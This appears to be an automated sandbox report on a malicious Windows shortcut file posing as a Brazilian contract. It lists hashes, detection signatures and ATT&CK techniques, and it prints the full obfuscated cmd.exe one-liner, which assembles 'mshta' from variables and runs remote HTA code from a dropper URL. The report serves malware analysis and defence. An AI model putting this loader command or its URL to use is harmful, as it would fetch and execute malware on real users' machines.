a6f6b52f424dd40b35b8242cfcb1260bc626a5d404bbce99414fb30daae0c16a

Analysis

max time kernel
148s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Contrato_Indeniza_Brasil-CDUW4M.lnk
Size 1KB
Sample260803-pyebgazsav
SHA256 a6f6b52f424dd40b35b8242cfcb1260bc626a5d404bbce99414fb30daae0c16a
MD5 700fe75f3f758b6a1b5828df7b0a059f
SHA1 6d7999e7f73ea7dc6c82f6bde2d67c771f1ceb59
SHA512 be4c123c21161a4e906517250841810bdfc86c10d1e62dcd0decc1b193c167e42c46e16cee4eb17eab9bb371e1d47bf861e2a93d6dfadf3b24dd0d2067be137a
TLSH
T15531DC103AFE0210F2B39F7649FBA72098FAF9968D10CA2D0080460C5022E00E57BFB7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3620	mshta.exe
6	3620	mshta.exe
9	3620	mshta.exe
10	3620	mshta.exe
12	3620	mshta.exe
13	3620	mshta.exe
15	3620	mshta.exe
16	3620	mshta.exe
17	3620	mshta.exe
19	3620	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5168	cmd.exe
1060	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5168 wrote to memory of 1060	5168	cmd.exe	92
PID 1060 wrote to memory of 3620	1060	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-CDUW4M.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5168
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set BBRnE=msh&&set SwcQX=ta&&start "" !BBRnE!!SwcQX! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1060
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:3620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads